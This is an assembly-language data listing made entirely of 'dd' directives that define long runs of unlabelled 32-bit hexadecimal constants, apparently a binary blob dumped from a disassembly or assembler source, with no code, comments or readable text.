dd 0EA549EE7h, 680141C5h, 8C078F84h, 0B2ECDF5Bh, 8D380C92h
dd 0A0A8A6CBh, 879EBE0Fh, 0F7B6A0DCh, 0D76CA3h, 6B192B6Fh
dd 454FE750h, 7D27F300h, 26AEEFACh, 8EAD01BCh, 0FEB6DBBEh
dd 0B8D934F0h, 0AF43DE00h, 0E7EA6511h, 0EBC30062h, 0F7167A4Fh
dd 90005398h, 74EFDE17h, 5A9D8h, 11600F1Bh, 0C43DA536h
dd 2EAAC90Ch, 7AFF9835h, 6F210064h, 0B8193F56h, 1E0E1DF2h
dd 40420C3Ch, 494DC257h, 0C0FC3BCDh, 6F3D5848h, 921C5500h
dd 5DD26225h, 0CC7CF900h, 7D287659h, 0B5FE0784h, 71A5999Fh
dd 89BBB349h, 80FAE5BEh, 0DAB9383Ch, 0E1F2DDh, 3358F5A8h
dd 14C6F8EBh, 280CF37Fh, 0F081DB5Eh, 9CED02F0h, 0CB597D01h
dd 0B6F87060h, 0C1C34E00h, 71D7453Dh, 0B3950E97h, 7442140Ah
dd 0F080DB65h, 0EBCFAA16h, 62802A1Ch, 53DFAC07h, 2912208Fh
dd 0E870542Bh, 2E50000Eh, 595AE19Dh, 25B8CF57h, 0CD7A1D00h
dd 0E6901A80h, 98DD0169h, 922ADF8h, 9DBDF817h, 1C42AA0Fh
dd 9BA86167h, 0B0803C19h, 5B2E77E1h, 0FE000E3Fh, 9DB875E0h
dd 0D10B23h, 2F7EF890h, 54F4268Eh, 1604B312h, 9DC79001h
dd 0F02045E5h, 19597Ah, 3DCBD800h, 0EB979455h, 28F4D519h
dd 0EF004828h, 39005673h
dd 0DAFAEDB8h, 1C0574F0h, 569A145Ah, 0C368411Eh, 40BAEC04h
dd 0A26DD1DCh, 0D7EEC003h, 0B0B24C9Dh, 28754FEFh, 4894F2B3h
dd 2600E1BEh, 54F9A67Ah, 623EDE37h, 0B84060C7h, 1F462FFAh
dd 80F70616h, 7DA64F56h, 77046719h, 0B2E987DDh, 0BFB088C0h
dd 0C9CE603Ch, 5DC74DD5h, 9ADC091Ch, 82EBFDC3h, 8611F0F1h
dd 9C4C0017h, 56E3C26Ch, 9907F544h, 0CF1E1AE5h, 0E9CD0100h
dd 0B50B0095h, 50D4AC03h, 0E661B676h, 7DEBDB0h, 6100844Bh
dd 345D951Dh, 97002B40h, 0FDF1EC93h, 1AAB8Ch, 0E7D34E8Eh
dd 0E49BF933h, 2F852600h, 29B7D198h, 7B04007Dh, 66E64C80h
dd 92177FA0h, 8C40D3D5h, 0B1DDED0Ah, 0F1D600EFh, 2987C3BDh
dd 711FCB55h, 96406F1Fh, 6BF97C36h, 7D67B05Eh, 246800D5h
dd 0F81AA7Ah, 1907C1A5h, 0B5CE46D9h, 0F5944D3h, 0BEC83D88h
dd 9FC2A32Eh, 3CC8F257h, 8407CD2Dh, 27461AC0h, 1728805Fh
dd 3F80375h, 859B388h, 0D6909F6Dh, 3F00B952h, 98F3BCC0h
dd 0DCAFC7h, 0FB9492A9h, 3309A180h, 4E71E009h, 473C0FB7h
dd 5282C905h, 0B908900Ah, 87DF8BCBh, 0E5B0105Fh, 0B7005B53h
dd 4774DFF2h, 1383E39h, 46D7ACBDh, 308DE3EBh, 790E150Eh
dd 0A4AF12h, 0AEC8DD7Bh, 0D92D0133h, 0ABF9F396h, 0D83FD3EDh
dd 4B0062Ah, 68785Ch, 0EB8B1203h, 0AC31B79Ah, 3F004F98h
dd 0C0B9BB13h, 7C933D2Ah, 7E20A9C1h, 805EB087h, 2EEC53Ah
dd 295A780Ch, 0A2004850h, 4B59345h, 0FE14B124h, 0DCD80068h
dd 32666E8Bh, 0F304B486h, 0C0AF3541h, 0B2342B00h, 0F70CF665h
dd 482FD950h, 1512404h, 0DB7200D8h, 0E03017F2h, 61B8652Eh
dd 55E8D001h, 0F0C82C04h, 7168C3B0h, 2921E547h, 585B0861h
dd 88A4BC88h, 8D91E705h, 1179CD03h, 458BA35Dh, 3D93A7B0h
dd 828F9139h, 62551B53h, 0F8C0808Ah, 138592h, 0D814C5A1h
dd 0C32DBE45h, 2ED5313Bh, 7202099Dh, 405C502Ch, 4C040134h
dd 1220247Fh, 98C6662Ch, 2D1F4BACh, 0B598BFAh, 843C8322h
dd 0F02900ADh, 0FA50FEDCh, 6100BE6Bh, 336AC620h, 79F4EEh
dd 31BAA809h, 46D135BFh, 0F70069FCh, 68967EE3h, 1DFDE4B4h
dd 7BDA19ACh, 0E1750900h, 3C45FC1Bh, 330C6A00h, 0F34131DFh
dd 5DBC3353h, 6BA0E168h, 0AE009485h, 71C2C4F0h, 2AF75C20h
dd 0F06DBCh, 0F9C62522h, 5BA0F26h, 0D1BEF800h, 7E8E39Dh
dd 0CDE900B8h, 0A451D0FEh, 5778A146h, 3CB03900h, 47C952B2h
dd 618900DDh, 0FD767F31h, 94A87C80h, 6009075h, 0FBBF1827h
dd 94F4179Ah, 0F321009Ch, 0B66B9582h, 0B19E1C05h, 984013D2h
dd 33406AEEh, 7A11C075h, 0D3BDF6D8h, 0B6CC8E00h, 0F8E6388Ch
dd 0C74C002Dh, 224089BFh, 913D75F9h, 172E0FA9h, 1E820B4h
dd 7E616Fh, 85186A90h, 3E0CA6D8h, 777DDF00h, 0C2E515FFh
dd 2DC82403h, 7C1650h, 0C457D6A0h, 74F6FD0Ah, 240FB800h
dd 0AC4C4BBBh, 0A99F00A7h, 58DA8F1h, 0ECF63F41h, 33FCE60Ah
dd 302FC4Ah, 580A5691h, 7392012Ch, 34F56CC0h, 1B95D47Eh
dd 8AD91306h, 1EC8A3F2h, 26D5658h, 4EB0CC51h, 30E11441h
dd 95143053h, 7989679h, 3DAFA8AAh, 2445D1D0h, 169ECCAh
dd 0DEA71177h, 0C30CAA71h, 7C5890CCh, 4C097646h, 6575E7h
dd 3E7ACB1Bh, 5BDA07AEh, 0C039BF1Bh, 2B1C1894h, 0CE740D1Eh
dd 260AF1C0h, 72C2F986h, 385A73D2h, 6B018AA1h, 0FDB19508h
dd 7125C0AFh, 1CEA0700h, 4F4C9E93h, 0CD0D12A7h, 66640004h
dd 82F2CBA9h, 64D07F00h, 0F6D1ACE4h, 86C500DCh, 0AE2A6C20h
dd 3300D76Dh, 0EF13C779h, 5B8A50h, 0BBE4BF3Ch, 4C74EE4Eh
dd 0D390A600h, 4676BA0Ch, 7EAA26AFh, 8CD981E8h, 0E782BDE4h
dd 0AE6ED380h, 969A9801h, 4480B2C8h, 4A87BBF8h, 12A3F0ECh
dd 0AB7AA17Bh, 8E179900h, 5630B4E2h, 33EE058Ch, 0D0D3F7BAh
dd 0C539DCCCh, 321D1A00h, 6C80DE5Dh, 7A922431h, 40A79CF0h
dd 0CB5FBB81h, 7000EE17h, 74EA53C9h, 31F2466h, 0EC65BDBEh
dd 300701E0h, 3FE13D9h, 8A5A2D50h, 4836EE85h, 0E9006C12h
dd 326A8FCFh, 0EE00F672h, 9DDAAA78h, 287F02ABh, 5840E40h
dd 2187BF9Bh, 5F84C0F1h, 5900FBFFh, 9FCA5424h, 4835F5B2h
dd 3600E427h, 4AD5A901h, 0F1009D2Bh, 9B61B2Eh, 0EBC4F4h
dd 2E9DD93h, 2A8065ADh, 2977FE00h, 0E610C1Eh, 6BA50033h
dd 45BD6DB9h, 0E9085ADBh, 25ED893h, 25FA5C89h, 6DFC4C16h
dd 0A2C9D219h, 0DD8FF8E7h, 74A6BB00h, 49F010F6h, 787D0343h
dd 84D15932h, 0CFA316D8h, 0A67EAE07h, 353388EDh, 0C4309049h
dd 1B570083h, 0E80ACD2h, 0D6241671h, 0DD00AC87h, 3ABDB774h
dd 93A98D1h, 2BE4864Fh, 0E2D80804h, 0CC5900ECh, 0D2A4C224h
dd 91C0376h, 0C63DC95Eh, 0BA3A60E0h, 0E02EF00h, 0DC58DDA9h
dd 6B0C1C0Ah, 422900E6h, 0A4CFD5CDh, 782B4338h, 0CE30C500h
dd 5CFE177Bh, 6E920ECCh, 38A0E785h, 67C83D6h, 0A0125100h
dd 7F19D75Dh, 0F77E63h, 899D305h, 0FF3A306Bh, 65F2931Dh
dd 37009024h, 3C4F3FBDh, 178F6AAh, 9987E479h, 74519D41h
dd 5D134058h, 84030DBAh, 0C326B74Ah, 0D52380E3h, 7E89016Eh
dd 0B519853h, 53080F5h, 0F90D96DEh, 0F2AA73EBh, 218F26FBh
dd 0C75902D8h, 0D300AC3Bh, 251466h, 0E27F5CAh, 0BD1110BFh
dd 0DBA5D903h, 9FBBF3E4h, 0D8C6A603h, 0CD802Bh, 1A29F7EEh
dd 36E29FFFh, 2DCFB402h, 21F068h, 94C226E9h, 5231C20h
dd 0D6B35FDh, 98C8012Fh, 2099AE6Ah, 12242A80h, 0CE409414h
dd 1CFE13Ch, 71D95F63h, 0E461B818h, 0D7B9AB9h, 983AF228h
dd 7628EB00h, 781D2760h, 0C73B71ECh, 0A0934D18h, 4272C958h
dd 9AB07000h, 0ACA1A93Ch, 997A0448h, 9081B7CAh, 0E8EE8420h
dd 0DD919700h, 0FCF32C92h, 0A0E5000Dh, 0DC0E33FBh, 0C2009DB0h
dd 28F864B2h, 71CF148Bh, 0EA4F05F1h, 0C035D553h, 0D9B99FC8h
dd 16628501h, 6BF14B98h, 69D06087h, 8034B48Ah, 7B8F6F8Ch
dd 0ADCDB100h, 7F3E5B54h, 0D64E0EFEh, 0C8A4CFEAh, 87CC80E5h
dd 0AB73465Fh, 78222E00h, 2971290h, 0CB612D65h, 60ECC987h
dd 0F9BFC94Dh, 5701937Ah, 7B8E5CD9h, 6C306AE7h, 70E0065Bh
dd 493CD473h, 0EADD6109h, 268080D9h, 5C936790h, 404EBAF4h
dd 2FBDD28Ch, 6E099854h, 808680EEh, 30FEE86Eh, 824000B9h
dd 4531BEA8h, 227846E3h, 18FA9C07h, 5D907D67h, 4730864h
dd 0C16823A4h, 495C90C7h, 0B8905BA9h, 0B53FB70Fh, 104FB751h
dd 7F83E35Dh, 176E8078h, 0E0D80326h, 8ABFC20Dh, 79C459B8h
dd 0AF711D00h, 0A88737A1h, 8EEA12BDh, 214400BFh, 41AECAAh
dd 27395F00h, 92468BF4h, 81470049h, 7521B23h, 8C3FD7FCh
dd 335F1FAFh, 6197A200h, 0FA110210h, 700B0BDEh, 7C40BFD6h
dd 8E074D93h, 95532E06h, 0A000E48Ah, 789E242h, 8634008Bh
dd 297F1BCFh, 74F99D33h, 8E17D0E4h, 0D060CEF4h, 941E2546h
dd 602F1398h, 7223CD48h, 0A3C20301h, 5C0E9D99h, 4D623EE0h
dd 2D0060C9h, 112677E6h, 1E071CBAh, 4F8BCAF0h, 3D7D9800h
dd 71A40050h, 578E5E59h, 583E3893h, 614B9FBDh, 50A29640h
dd 9875C595h, 84E40054h, 2D19AE58h, 0FA780B91h, 854032Ah
dd 0D894DB07h, 819C6C97h, 1EE05EA9h, 21AE0034h, 19B0CB4Eh
dd 454B78E8h, 35A40440h, 72D193h, 0CFEC174Fh, 0C63834ACh
dd 0B0378001h, 0B2C388FEh, 6D763882h, 4C585B29h, 2CA17A00h
dd 31B59A85h, 66E400DCh
dd 0A072280Fh, 810924F3h, 65C8FD7Eh, 89EC644h, 0CA3E805h
dd 10055875h, 1C00ECACh, 85C92582h, 0BA7500E0h, 1601F728h
dd 0C802C748h, 0ABEB89B0h, 9DFCC064h, 50E10077h, 0F63017E6h
dd 0DC719E6Ch, 5818E74Eh, 24937D70h, 5B7260Dh, 804D71B2h
dd 35AC53BEh, 3B9C2155h, 501EFF0h, 72D43227h, 0FF94F020h
dd 6EE249C0h, 63A70A15h, 0F3A6B118h, 3BE7483Eh, 33047C7Eh
dd 94F51238h, 8911A1C0h, 2D311D35h, 0E4973BABh, 2A350C1Ah
dd 4614F40h, 0EC672F49h, 30F12DCCh, 19018B2h, 40006ADEh
dd 1378855Ah, 0FC816Eh, 3B622EDFh, 1FDD2C67h, 0DA13800h
dd 3CF74501h, 0C5F000DCh, 934FFB2Ah, 290051CDh, 0ECDB6DB8h
dd 0CFA6EC7h, 41820D1Bh, 123FF630h, 5D030056h, 0CA040CFEh
dd 3AE80017h, 0E998D54Fh, 9A77D92Ch, 96D6C103h, 0D13DC86Bh
dd 0D7204A8Eh, 8B8C0206h, 4438B4DBh, 0DEC87260h, 0EA5DA400h
dd 7EBA9D6h, 5C0300CFh, 4EA8D810h, 3B00900Eh, 50453E69h
dd 8E81F6h, 343CB4E8h, 0F50E1DC6h, 0F54F700h, 8CD9A07h
dd 56B000EDh, 4B35F2Dh, 270BFE87h, 0E5293B10h, 20CBC9C8h
dd 0AC042FE5h, 0F6DD24F1h, 125F0480h, 114CA8D9h, 4F113853h
dd 43B00C4h, 4E602AF0h, 6729C8D8h, 24D1D542h, 0D2A7212Fh
dd 79103B12h, 81389CFh, 8FD344E3h, 0CD212284h, 0B1118742h
dd 8A321D0h, 6B90592Fh, 290F1993h, 0B90877h, 614E8B8h
dd 7F23F0B7h, 0BB3DDEE8h, 0BCBD0F69h, 0B6824741h, 0CB2151EEh
dd 42A28D1Ch, 0B09311D0h, 4A1EDF21h, 11E442A2h, 0F321B153h
dd 90B24008h, 0AC0684F8h, 44F10744h, 0C44AD19h, 621E0742h
dd 500986D0h, 0F5EA006Bh, 0DDF2534Fh, 0D84C39A5h, 2F260371h
dd 8BFEEC33h, 0C3EB8959h, 0D6D27280h, 3EBBA929h, 0AE801300h
dd 0C7887C92h, 0F9AB0083h, 6A0DE5A8h, 1C0F4965h, 408E747Ah
dd 379A477Dh, 173E078Fh, 0B0DDDB80h, 0B0D8CAC5h, 46D2E000h
dd 49B1EF03h, 977500CEh, 502599E5h, 617ACD78h, 0B7C1BFCh
dd 0B78E3F00h, 6DEA0185h, 1C910FB1h, 805C735Ah, 41742DDAh
dd 43008921h, 558776EFh, 6D3CEBh, 783D208Dh, 0DC758AA8h
dd 1BA4E660h, 7ED8C93h, 1ECE4A10h, 0B00D207Fh, 1F009E9Bh
dd 353FE2FAh, 216DADh, 0D3AE7C3Ch, 6E550CB9h, 1C5700Fh
dd 80FC2BA1h, 0AD591B91h, 7D540F36h, 66609B63h, 0AB8EB4EEh
dd 4CCFDF07h, 8F31C0CDh, 0A3F41579h, 1F362830h, 0DEF00C8h
dd 1CCA65E9h, 0D0007F9Ch, 138E46EBh, 1E29AD56h, 806289E3h
dd 818C2A23h, 0BD0038D6h, 0C95248F0h, 507E6384h, 6AB0F4h
dd 4D30C24Fh, 68BA4A9h, 1B8CE91Dh, 73EE5CC0h, 39855B0h
dd 0D54DD81Ah, 0A000EF5Fh, 270B3E40h, 0E59AE0Ch, 92495AC9h
dd 0F54145C0h, 230099C0h, 0FEF8A2D7h, 2E9E64Bh, 0E3A96F12h
dd 0A6E1322Dh, 0E1E07058h, 23018177h, 0D5FFA78Fh, 80EAF1DCh
dd 41DAE0ACh, 40D35CB1h, 3CBFAD00h, 6A78615h, 8DF00304h
dd 4683E86Fh, 2271005Dh, 80AF6ADh, 0F300E194h, 0D5D97D12h
dd 1DA5707Ch, 40C17546h, 947242A4h, 6800EC0Dh, 7F6EAF6Ah
dd 8447BBh, 111CC615h, 0C4D6940Fh, 910A4E1Ch, 30926640h
dd 781CDC1h, 0FEAA6175h, 0E8E00F04h, 0DB8908Ah, 21D42F00h
dd 565F0785h, 23D124F7h, 4599002Ch, 0F88E0B30h, 4EDA9A07h
dd 3C174F0Ch, 1E7E42C0h, 0BE050082h, 0E33FB9D2h, 8891B8FFh
dd 0E08C80B9h, 3237672Bh, 6E6B0011h, 5723B974h, 7C61120Ah
dd 0B658FE18h, 448BC0D7h, 0E0F2BBh, 0AAD2E791h, 7F111D28h
dd 1AAB9F37h, 21B78F60h, 58FF00FEh, 697C9D44h, 383F39A1h
dd 0B235804Eh, 37D70B91h, 726807A2h, 2AEC6EE4h, 0EDF100F0h
dd 0C8356C19h, 0F80E7601h, 0C9BB101Ch, 58AAEC40h, 6B3E0789h
dd 3137AE0Fh, 0F848A6DFh, 0CC4C958Fh, 3FBD002Fh, 0A9B46F18h
dd 8BF502ADh, 14F1377h, 0D84A6C40h, 0A6E6AB00h, 92D2BFCAh
dd 28772BAh, 0A0ED9C8Ah, 0FE808BE4h, 0BE28555Ch, 3FC17600h
dd 4AF6FA9h, 90463B96h, 7ABC7E00h, 722BDA78h, 891C2103h
dd 0F7D36268h, 8E0A7400h, 0ABCDE636h, 7BDF0ACh, 88909Bh
dd 0F94957FEh, 0FD7C701h, 0D0099E6h, 0D1C69F6Fh, 9B12DA9h
dd 91BF7084h, 649D5CB8h, 2AC48B00h, 900F89B2h, 0AB5E0166h
dd 5563A0B1h, 2F99E0C7h, 7153DF03h, 805A4CB0h, 4CAA949Bh
dd 7B0218A7h, 0E57E49BAh, 0DC771061h, 0DE38F822h, 0F1A660C4h
dd 0A31CADh, 1247F586h, 0BCC07982h, 853E9BEAh, 0F24F83F9h
dd 0F0A74054h, 0BD470FEh, 69B9FB97h, 0B2801200h, 6A00737Ch
dd 29DBAA8h, 9A25D15h, 0EFAD9722h, 8624BC00h, 10027585h
dd 36171E9h, 0C2E868F9h, 0D1B30047h, 39AE2C2Bh, 5E000419h
dd 4AF1EE67h, 7D8F74Eh, 0C1DE37A5h, 0B439F09Dh, 31248A79h
dd 3604BCC2h, 5CD060BEh, 0B58062h, 1689C599h, 9FA9A85Eh
dd 40B2EA03h, 0D11B9BAAh, 0D0302A51h, 58790090h, 0FE2F61F5h
dd 0B490CAEDh, 9B0A9C79h, 98269272h, 0CD023F80h, 0D1A7EAh
dd 4F0E1578h, 1323599Eh, 9DC88F00h, 7BB62FE8h, 0E02D3D45h
dd 3CEC1B80h, 42F693C6h, 8E86FE00h, 0FFADBD16h, 335A03EFh
dd 0C62C29D4h, 48B0C28Bh, 2100CF47h, 0B1DE42Ah, 11AE1Ah
dd 0A241579Ah, 4C3C7D97h, 2BEF7100h, 5AF50794h, 2FEC0090h
dd 26F4932Ch, 449004C4h, 1400157Ch, 9FA1585Ch, 7CFC97h
dd 558C5EFEh, 2BA6BC3h, 0B7801816h, 0EBB19100h, 183CE87h
dd 56F3FB74h, 0D598AE39h, 25A6C44Bh, 25B7C3Fh, 1F528DCAh
dd 0AF4CC007h, 3CF20036h, 28EE20B3h, 0C7721087h, 30FAEC00h
dd 2BE1F5FFh, 865D58E4h, 1E601500h, 549076Fh, 53EC5802h
dd 0E2D4BEEEh, 0C3E6040h, 9FB0CFh, 29B9C608h, 6AC80B92h
dd 2F092C73h, 80F76EFBh, 1317BF30h, 5BCD0979h, 38801A96h
dd 0C0808205h, 353A061Dh, 0E3F28340h, 9158F46Ah, 2EBA664h
dd 0B40F320Ch, 0D4A71D60h, 1D07D7F4h, 29C78EF9h, 633D22F0h
dd 3FBC004Ah, 35CAF233h, 0C102628Fh, 28CAB90h, 5765E0E6h
dd 0EA160337h, 78793366h, 51A60EC0h, 0D05EC07h, 10D0A818h
dd 0CA7309h, 411A991Eh, 281FD5EFh, 7C9A3B0Fh, 0C5DA4048h
dd 37CCF971h, 20682790h, 0A6A047C6h, 0FCFE0303h, 0B8E06D88h
dd 24CFA96h, 0F5516E12h, 68600726h, 0C30070D2h, 0D762CE7Eh
dd 533A6Ah, 3512523Fh, 1C0C3805h, 0E4256800h, 9E5640EDh
dd 0A279058h, 2EBC47F7h, 0C51680DCh, 0B3729112h, 68200926h
dd 6B031D24h, 0F04B0B6Fh, 242CD5h, 4A0FEF75h, 0FE1883CCh
dd 4D2DEB00h, 0EA92530Dh, 12709856h, 3299B0E1h, 3E606990h
dd 9005885h, 1E6AFA44h, 3F7D6207h, 0A38056C3h, 0ED78496h
dd 7E3D81DDh, 7E7BB16h, 2A223024h, 13AB8F80h, 86E6078Ch
dd 7FF39047h, 0E9F0A140h, 0AF004D1Eh, 0AA73EC71h, 37F13Dh
dd 2F29E17Bh, 62B57960h, 0E7E87401h, 0B19CCD04h, 320DDE4h
dd 65A643AFh, 7B902AD2h, 8004C6B3h, 5A2D9F0Ch, 0ABB11EC0h
dd 0D40E1696h, 0D23F00A9h, 1FC22038h, 7C780A3Ah, 651AA100h
dd 5AFC9372h, 39A00069h, 6D5F28F9h, 5477B343h, 50443Fh
dd 0D2D815AFh, 2EA149Dh, 0FB257201h, 0A44005BBh, 5E009203h
dd 4A7C1798h, 726C7B84h, 564302A2h, 3DA95A9Ch, 1331D880h
dd 0C70070D0h, 2C63CA7Ah, 1F492361h, 0DE1A4A37h, 8D0F4B11h
dd 879FE804h, 7E0EB2A4h, 2ABDE10h, 6EED02F2h, 48C805BFh
dd 28FAADF4h, 62D7C004h
dd 8CA0F9A3h, 0C65C09F0h, 5884154Eh, 5F32C0BFh, 4A179368h
dd 8A07915Dh, 0DD906B12h, 90093A4Bh, 7E65F4C4h, 0FB3C0047h
dd 2608C157h, 0AE145F31h, 1CDCC769h, 3800E9B8h, 72F8F041h
dd 0EEA3004Ch, 80293A30h, 3018D23h, 74C03B31h, 98FF2519h
dd 8A4290h, 0C5D3A6BCh, 83042346h, 0AFDC6C00h, 2C859C6Ah
dd 0A11C00EAh, 0E943F655h, 9F00D83Ch, 0F577F44h, 5C1E754Dh
dd 70F2D64h, 2380BB2Fh, 76530C7Bh, 30FB73FAh, 524C35B5h
dd 0A62E7925h, 0B68310C4h, 0CB8EBE83h, 88E6D8EBh, 0D08C00F1h
dd 4879C477h, 0AA003C41h, 9503AC62h, 58689B5Bh, 66C08482h
dd 5E07C64Ch, 77AC2548h, 2B74E22h, 41C8956Ah, 0B4A05BD1h
dd 44ACE54Dh, 989FFE3Ah, 0E819E76Dh, 67500D6h, 0C6232282h
dd 9800B072h, 0AAFB3EDh, 5E6907h, 0B42FFBFDh, 65E1E61Bh
dd 3DBD401Eh, 4CADDC0h, 0EBF51436h, 8880AA21h, 95251F9Bh
dd 8600D964h, 0DF535BAAh, 7ECB0DF5h, 71D800E3h, 9BA55C7Fh
dd 80412B6h, 4AB87532h, 0B2E06780h, 0FB0509F2h, 18008CC2h
dd 2CA3E8B9h, 7F982307h, 0C970D6D0h, 0E297F1h, 0F683ED9Fh
dd 479EF4EEh, 4D875100h, 0ABEF4BA0h, 51BBF60Ch, 8841EB7Ch
dd 24650A9Bh, 0FD32F0h, 0E52AE4F3h, 0D304CEDBh, 7FB52100h
dd 478B89B8h, 0F25F1FE8h, 0D9A4C0B2h, 0C28FC0ABh, 0E9A8821Eh
dd 7904F741h, 88209EA3h, 0F57192h, 0E41EB93Fh, 2296F459h
dd 0D3373C03h, 0B0FEEF2Eh, 287906h, 959877CCh, 75DF564Ch
dd 8FE5493Dh, 0A002F8B6h, 0E607AEB8h, 65AF0043h, 0D92D4ED0h
dd 21015F6Ah, 71AC8CBAh, 0B4409D58h, 0C7D3FAh, 0BC7D960Dh
dd 0EECEE37Ch, 5EB9940Bh, 12CE0056h, 2ECB27EFh, 1F6454FAh
dd 48D8C022h, 3C4BE30Eh, 0D24725h, 0AD84B6E4h, 3FEF00A1h
dd 327CE930h, 9D00BC93h, 0C5D29A0Ah, 3823AE05h, 15B0620Eh
dd 6F2D5D11h, 4CB9E100h, 19AC4651h, 37707F65h, 27585015h
dd 8E1B10C2h, 0D0255E44h, 895C00FEh, 1F2017D6h, 0C0FF7E33h
dd 0ED596DB7h, 3500A3D8h, 745A8CB9h, 3B9BB0D7h, 0F793C83Eh
dd 38040017h, 395D08A7h, 0F45CB600h, 2A8AC5AEh, 21EA00D0h
dd 0D19D66B8h, 0AA0036ECh, 64BDB7AFh, 0A6AB8Eh, 0B8652720h
dd 89214BFCh, 0D5A2F314h, 0EF6C00ABh, 0C0F54F40h, 681E039Ch
dd 0D1D4692Bh, 63E4EAF0h, 40030B8h, 0C9946B4Ah, 71D2FB55h
dd 98B70354h, 50E9780Eh, 0FAE9088h, 90086EEh, 0CD4D6156h
dd 24A1B11h, 20C044E9h, 0BCE081BBh, 4B01A668h, 61EBF1Fh
dd 38E8DA8Fh, 96270035h, 91ADA96Eh, 0FF00EE29h, 0E1C8F43Bh
dd 0F94111h, 335426ECh, 981F2F6Dh, 0B5647600h, 504A8214h
dd 0D4FEB7h, 0CCEFC185h, 2F336815h, 0CEA7E801h, 554598F4h
dd 389020h, 53D1694h, 304E27A3h, 0A26AB000h, 0C2A8D4B9h
dd 217683h, 85DDBFCCh, 0C81395AEh, 33FD33Ah, 737AA4A9h
dd 445398AFh, 1AA2018Ah, 215452FDh, 6B2BC03Ch, 0EBB68913h
dd 0EA427F00h, 1FF34FA9h, 0C00B180Fh, 936E259h, 7169C76h
dd 6A075F50h, 26C05CBDh, 4A952EC5h, 0BFC01E8Ch, 0FB364680h
dd 91BC3A33h, 991C0107h, 8BF0DD7Ah, 0C1B8Ch, 0B8B96DEDh
dd 0F1C193DBh, 77BF281Fh, 92624880h, 6065FD6Fh, 0D04660EFh
dd 0B61EBBCEh, 0AA1E9DF6h, 5FF77B03h, 0DE2100D5h, 0A0654FC8h
dd 81C04843h, 3510A459h, 0F89700B4h, 0F4395BEEh, 0D400757Ah
dd 76901B12h, 7F8C2DD9h, 0B8400089h, 78BCF4A3h, 6500A85Bh
dd 0C6ADFE85h, 0BF7D6Dh, 0CECCBBE2h, 6F155A5Eh, 0C97C7200h
dd 0AC206733h, 4AF7002Bh, 57E83EB0h, 7078D61h, 0AB05C87Bh
dd 76E11670h, 0A0F8024Eh, 0B30840CBh, 0E23C5060h, 47AA7A00h
dd 0F64587EBh, 0A8E7004Eh, 1DEFE6B1h, 7C3E0604h, 0C7580065h
dd 7D80CCB2h, 0C6D4007Bh, 91BE4366h, 0CD007075h, 850AEEA2h
dd 354D26h, 0B951148h, 0E553B8D8h, 37001CB4h, 7664690Dh
dd 4CA900C6h, 0CC4680E6h, 0C001219Fh, 72ADAC2Fh, 0D070CE1Eh
dd 0F8420E0Ch, 40D8FFBBh, 400922Fh, 159FE8DCh, 94AE06h
dd 50F64359h, 4275A73Ch, 95184A00h, 41A22512h, 73C112AFh
dd 0E70400B0h, 9C4921E9h, 428E05Dh, 0F89FAA72h, 6517CEC0h
dd 6D70162h, 0E4505E6Ah, 0B701C0E3h, 0DC1140C0h, 26D10EBh
dd 82155AFh, 97409939h, 232429D7h, 0B1002480h, 3C78A585h
dd 3A1498EBh, 0F76233h, 0DDB2E481h, 27F7E22Bh, 87BC3907h
dd 6EA04553h, 0FE4757B8h, 9DF800EAh, 9E77BDCEh, 97A08A3Ch
dd 0AB902881h, 49DE3000h, 0FF8F9086h, 59873EFh, 0B3136604h
dd 0F1278046h, 0B20016F5h, 0EE7105B5h, 8E74B1h, 72F06590h
dd 0DA28BEBCh, 51A25C12h, 0D39CEA00h, 217B92h, 745084Ah
dd 54C9162Ch, 0C6052F00h, 0B5279118h, 0D39B1655h, 32B500BCh
dd 1B4B77E7h, 0F5236C05h, 0EC010853h, 80B67A6Bh, 142864D9h
dd 809A541Ch, 42F43EABh, 0EF0325B1h, 37FB192Fh, 2262A859h
dd 49340144h, 321F311Bh, 1466FC72h, 0C8747805h, 90839B13h
dd 965D002h, 60FDD2h, 551FC6Bh, 680AF56h, 171EC231h, 8C1348E0h
dd 15D08804h, 20809E73h, 0E05A3263h, 25680024h, 0FB189CAAh
dd 572EE441h, 0DC802C4Dh, 0E77FEA10h, 8F0B056Dh, 0C35056ABh
dd 0DDF06AF2h, 7E00F638h, 4EA8D67Bh, 58BBA36h, 0AF197D91h
dd 6A548008h, 6164BF8h, 0FC47EA47h, 0AA20A7DAh, 0C08DBCh
dd 0AD90AB84h, 0DEC8757Ch, 0DF1DC590h, 24C30FC9h, 0B0B066B6h
dd 59A5C9Eh, 91CBFA18h, 88D48038h, 920BF302h, 20E02749h
dd 900BDF80h, 0FD1F0191h, 0F0A6D345h, 8CB5FCFEh, 16341004h
dd 0A881B6EAh, 9EF4A785h, 0D36A04C4h, 819209D1h, 0C876DD50h
dd 56E40FDBh, 68687124h, 209A8039h, 0F53AECE7h, 12D800CBh
dd 4528D362h, 5A3C21F9h, 6995803Dh, 4BC0E866h, 97A30E2Ch
dd 0CD0016EDh, 301288B0h, 69590200h, 0A74DF14Fh, 57010018h
dd 73526F55h, 6384AA4h, 110880B7h, 5A482C9Fh, 988F001Ah
dd 0A44FAF67h, 0ED385B33h, 46828058h, 0BB3D5619h, 880D00F6h
dd 0BFEB9EAAh, 0E6EAAB47h, 0F5FF8A07h, 39A7B62Dh, 0C4F16BE0h
dd 6486009Ch, 0D13AB4E3h, 2F1D8F38h, 2010DC5h, 0C9A1F950h
dd 0F8A1420h, 0BE99EA9Dh, 0CE4C8BC0h, 8F0292A7h, 5BCB75DDh
dd 0ADA640D1h, 9FC90057h, 0D7185D16h, 0AC0078CAh, 94520E3Eh
dd 1E25C8AEh, 7B39F5C7h, 0E72FC280h, 7AE9950Ah, 2CC1B000h
dd 6B36B3BBh, 2AEE30h, 0AE51861Fh, 0F89EFB3Fh, 0F4F45Ch
dd 13DC5C02h, 0FD4D32h, 893B108Dh, 4C454FA7h, 80950126h
dd 312AD000h, 3CC3A1h, 0CAF9D1Dh, 1697F605h, 7DEFF300h
dd 0E5DAD87Fh, 89B000ADh, 0E69D3313h, 84001BFAh, 6D62E3D1h
dd 54CC5C9h, 45369560h, 52F0C3B4h, 0C6AA84E8h, 0EF90AC9Ah
dd 58C17600h, 4F8EB354h, 2B9F0E59h, 0C500273Fh, 3CBFB781h
dd 97DB3012h, 28CD411h, 8A093346h, 69056088h, 1683041Bh
dd 0C01F0121h, 82B06214h, 0C2044304h, 0C4D05D03h, 2E6EF7h
dd 6345F854h, 0C2442387h, 9B1C2B00h, 0A2D7DF78h, 0BEB80079h
dd 3C81B0F0h, 2D09F307h, 803824B1h, 438D1BE0h, 3592249Eh
